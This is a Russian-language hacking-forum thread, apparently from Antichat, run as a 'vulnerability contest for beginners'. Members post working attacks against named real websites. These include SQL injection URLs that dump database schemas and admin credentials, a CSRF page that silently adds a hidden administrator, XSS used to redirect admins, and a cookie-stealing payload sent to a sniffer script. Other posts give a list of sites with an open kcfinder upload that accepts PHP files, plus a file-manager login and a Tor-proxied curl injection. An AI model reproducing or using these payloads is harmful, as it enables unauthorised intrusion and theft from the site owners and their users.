Конкурс уязвимостей для новичков

Octavian · 26 Apr 2016

Саит http://www.francophonie.utm.md/
Уязвимость: SQL Injection
Сплоит http://www.francophonie.utm.md/?mop=15&idnews=15+union+select+1,2,3,user(),5,version(),7,8+--+

MaxxWell · 25 Aug 2016

Code:

http://kupigut.ru/shop.php?id=-fashionid%27+union+all+select+1,2,3,4,5,6,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),8,9,10,11,12+--+

Тип: SQL Injection.

==========================================================

Code:

http://hd-ural.ru/news.php?news_id=-48+union+all+select+1,2,3,4,5,6,7,8,9,10,11,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),13,14+--+

Тип: SQL Ijection (вывод в title, Cntr+u)

==========================================================

Code:

http://allrose.ru/category.php?id=-1%27+union+all+select+1,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x)+--+

Тип: SQL Injection

NonBlizz · 28 Aug 2016

ТИЦ: 10 PR: 2
Code:
ttp://heteroworld.com/view_news.php?id=-455%27+union+select+1,concat_ws(database(),user(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16+--+
Вывод таблиц:
Code:
ttp://heteroworld.com/view_news.php?id=-455%27+union+select+1,user(),3,4,5,6,7,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),9,10,11,12,13,14,15,16+--+
Вывод админа:
Code:
ttp://heteroworld.com/view_news.php?id=-455%27+union+select+1,user(),3,4,5,6,7,concat_ws(0x3,username,password),9,10,11,12,13,14,15,16+from+heterodrugs.users+--+
Version (5.5.49-cll-lve)
Database (heterodrugs)
User (hetero582016@localhost)

Для простоты действий:
ttp://heteroworld.com/cpanel/
ttp://heteroworld.com/info.php

P.S в Cpanel с этими данными так и не смог зайти. Кто зальётся отпишитесь=)

PoliGroS · 13 Sep 2016

MaxxWell said: ↑
Code:
http://kupigut.ru/shop.php?id=-fashionid%27+union+all+select+1,2,3,4,5,6,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),8,9,10,11,12+--+
Тип: SQL Injection.
Click to expand...
Запрещено постить уязвимости на сайтах стран СНГ (ru, by, ua).

Для наглядности баллы будут в ручном режиме добавляться в таблицу: https://yarbabin.ru/antichat/ - нет никакой статистики.

Octavian · 26 Mar 2017

Предсказываем отправлений url при восстановлении пароля md5(time()) взламываем любои аккаунт
Code:
https://www.andys.md/ro/pages/login/
http://www.andys.md/pages/restore_pass/24aedcd90a28ae58303e0a8b8906137b/

Octavian · 3 Aug 2017

2 XSS и 1 CSRF беспалевный взлом, Исправили но все таки раскажу )
При осуществление заказа поле имя уязвимо к xss которая срабатывает в панели администратора
Code:
http://supergut.md/ru/pages/cart/3/
Сколько я бы не старался украсть куки они не работали незнаю почему (HttpOnly небыл выставлен к кукам и по IP тоже небыло ограничении)
Решил попробовать CSRF атаку потому что структура админ панели мне было известно, а именно POST CSRF на добавление админа так выглядел сплоит
Code:
<html>
<head>
</head>
   <body onload='document.forms.csrf.submit();'>
     <form action="http://supergut.md/cp/newuser/" name="csrf" method="POST" target="iframe">
       <input type="hidden" name="login" value="<style>tr:last-child{display:none;}</style>">
       <input type="hidden" name="newp" value="1">
       <input type="hidden" name="newp1" value="1">
     </form>
     <iframe src="" style="display:none;" name="iframe" ></iframe>
   </body>
</html>
Почему в логине
Code:
<style>tr:last-child{display:none;}</style> 
потому что так я мог добавлять невидимого юзера через другую инекцию в админке спрятав последнюю строку таблице
Далее я решил использовать и ту же xss из поле имя чтоб средиректить админа на мою CSRF сделал так
Code:
<script>
  location="http://host/csrf.html";
</script>
Не прошло и 5 минут я был уже в админке

После этого была оповещена администрация которая на 2 день профиксела

SooLFaa · 3 Aug 2017

Octavian said: ↑
2 XSS и 1 CSRF беспалевный взлом, Исправили но все таки раскажу )
При осуществление заказа поле имя уязвимо к xss которая срабатывает в панели администратора
Code:
http://supergut.md/ru/pages/cart/3/
Сколько я бы не старался украсть куки они не работали незнаю почему (HttpOnly небыл выставлен к кукам и по IP тоже небыло ограничении)
Решил попробовать CSRF атаку потому что структура админ панели мне было известно, а именно POST CSRF на добавление админа так выглядел сплоит
Code:
<html>
<head>
</head>
   <body onload='document.forms.csrf.submit();'>
     <form action="http://supergut.md/cp/newuser/" name="csrf" method="POST" target="iframe">
       <input type="hidden" name="login" value="<style>tr:last-child{display:none;}</style>">
       <input type="hidden" name="newp" value="1">
       <input type="hidden" name="newp1" value="1">
     </form>
     <iframe src="" style="display:none;" name="iframe" ></iframe>
   </body>
</html>
Почему в логине
Code:
<style>tr:last-child{display:none;}</style> 
потому что так я мог добавлять невидимого юзера через другую инекцию в админке спрятав последнюю строку таблице
Далее я решил использовать и ту же xss из поле имя чтоб средиректить админа на мою CSRF сделал так
Code:
<script>
  location="http://host/csrf.html";
</script>
Не прошло и 5 минут я был уже в админке

После этого была оповещена администрация которая на 2 день профиксела
Click to expand...
Очень хорошая демонстрация, как XSS и CSRF на практике применяется.

Octavian · 29 Aug 2017

Раскрытие данных
Code:
http://www.termosuport.md/admin/

tro0st · 17 Sep 2017

Erpeitupoi said: ↑

Приветствую форумчане, подскажите пожалуйста нубу, можно ли как-то узнать привязана ли к номеру телефона страница в вк? Соррян за оффтоп, пока не могу отвечать в теме "В контакте".
Click to expand...

Восстановление пароля, "не помню номер телефона"(если такое выскачило, то привязана), вводишь данные страницы, ФИО и получаешь ответ на свой вопрос.

Octavian · 17 Sep 2017

BabaDook said: ↑

Будь осторожен с этим.

Click to expand...

Зачем

BigBear · 7 Oct 2017

Octavian said: ↑

Зачем
Click to expand...

MD5( 123456 ) = e10adc3949ba59abbe56e057f20f883e

Я думал, этот хэш все знают наизусть. Смысл его замазывать?)

Octavian · 7 Oct 2017

BigBear said: ↑

MD5( 123456 ) = e10adc3949ba59abbe56e057f20f883e

Я думал, этот хэш все знают наизусть. Смысл его замазывать?)
Click to expand...

бабадука спроси
PS:Сиски тоже видели все но на ютубе их замазывают

f0b0s · 8 Oct 2017

Сайт:http://www.vacbanned.com
Уязвимость: SQL Injection
Эксплойт:
Code:
http://www.vacbanned.com:80/view/detail/id/76561197960265741) AND 3612=3612 AND (8789=8789
MySQL > 5.0.11
available databases [3]:
[*] information_schema
[*] vacbanned_dev
[*] vacbanned_v2

Octavian · 1 Nov 2017

Засунул в инпутах фейка https://wf-code.ru
Code:
"><script>img = new Image(); img.src = "/snif.php?c="+document.cookie+window.location.href;</script><"
Пришло
Code:
Cookie: PHPSESSID=a593cdb6707d2f5992dba251c386c994https://wf-code.ru/yaadmin/full.php
Саит с доменом .ru но думаю простимо потому что фейк

BabaDook · 6 Dec 2017

SSRF Подъехала
Code:
https://us.hidester.co
Кто сможет перейти на другой протокол пишите метод

Octavian · 1 Feb 2018

Arbitrary file upload 1.php.asd

Code:

http://ecaterix.md/ecaterix.md/kcfinder/browse.php
http://www.basukiwater.com/assets/js/mylibs/kcfinder/browse.php
http://www.oonohousing.com/member/user/kcfinder/browse.php
http://www.golfoldcourse.com/kcfinder/browse.php
http://www.careersinmorocco.com/www3/assets/js/ckeditor/kcfinder/browse.php
http://dinamikadwiputraperkasajaya.com/admin/assets/kcfinder/browse.php
http://grossiste-tissus.fr/ckeditor/kcfinder/browse.php
http://ex-theatreasia.com/kcfinder/browse.php
http://tohmei-group.sakura.ne.jp/user_data/packages/admin/js/kcfinder/browse.php
http://www.urfaposet.com/panel/kcfinder/browse.php
http://www.raksthai.org/asset/kcfinder/
http://www.godimex.pl/sklep/design/_js_libs/ckeditor/kcfinder/browse.php
http://hadu.org/kcfinder/browse.php

Гуглом можно насобирать сайтов

Octavian · 1 Feb 2018

BabaDook said: ↑

Если честно, то к сожалению я ничего не понял, распиши пожалуйста где там уязвимость .
Click to expand...

Можем загружать PHP фаилы
L:fm_admin
P:fm_admin
Code:
http://ecaterix.md/ecaterix.md/kcfinder/upload/files/filemanager.php.asd

ms13 · 3 Apr 2018

там оно всё дырявое куда не ткни...
писать бесполезно - пишут, что всё починили и всё работает.
Code:
curl -s -k --proxy socks5://127.0.0.1:9150 http://onesecurity.zyxel.com/php/wizard.php --data "instruction=get_wizards&parameters%5Btype%5D=z%27 union select 1,@@version--+&parameters%5Bdirection%5D=DESC&parameters%5Bget_active%5D=true"
"Microsoft SQL Server 2005 - 9.00.5057.00 (Intel X86) Mar 25 2011 13:50:04 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 6.0 (Build 6002: Service Pack 2)"

BabaDook · 8 Apr 2018

http://polisk.kiev.ua/prod_download.php?id=1+and+false+UnIoN SELect 1,2,user(),4&ext=
http://sclass.kiev.ua/im.php?show=groupsrecifications&kod_group=10)+/*!12345UnIoN*/+SeLEcT+user()+--+-&specifications=W126''
http://xenon77.com.ua/production_list.php?id=-1+UnIoN+SeLEct+1,2,3,4,user(),6,7,8
http://www.newchemistry.ru/himbases...,table_name,0x3a,column_name))),@))),3,4+--+-

karkajoi · 10 Apr 2018

BabaDook said: ↑

XSS
http://www.task.ua/funds/?id=1&language=<script>alert(123);</script>
Click to expand...

+ sql inject
Code:
http://www.task.ua/funds/?id=1&language='and updatexml(NULL,concat(0x0a,(SELECT database())),Null)-- -

Конкурс уязвимостей для новичков

Octavian Member

MaxxWell Banned

NonBlizz Banned

PoliGroS Member

Octavian Member

Octavian Member

SooLFaa Members of Antichat

Octavian Member

tro0st New Member

Octavian Member

BigBear Escrow Service
Staff Member Гарант - Escrow Service

Octavian Member

f0b0s Member

Octavian Member

BabaDook Level 8

Octavian Member

Octavian Member

ms13 Level 8

BabaDook Level 8

karkajoi Member

Хакинг сайтов

Подскажите как воспользоваться уязвимостью Wordpress

Скариноравиние ONION ресурсов на уязвимости

Конкурс-Вопрос: Реверсинг: win x32 Системные вызовы

Useful Searches

Конкурс уязвимостей для новичков

Octavian Member

MaxxWell Banned

NonBlizz Banned

PoliGroS Member

Octavian Member

Octavian Member

SooLFaa Members of Antichat

Octavian Member

tro0st New Member

Octavian Member

BigBear Escrow Service Staff Member Гарант - Escrow Service

Octavian Member

f0b0s Member

Octavian Member

BabaDook Level 8

Octavian Member

Octavian Member

ms13 Level 8

BabaDook Level 8

karkajoi Member

Хакинг сайтов

Подскажите как воспользоваться уязвимостью Wordpress

Скариноравиние ONION ресурсов на уязвимости

Конкурс-Вопрос: Реверсинг: win x32 Системные вызовы

BigBear Escrow Service
Staff Member Гарант - Escrow Service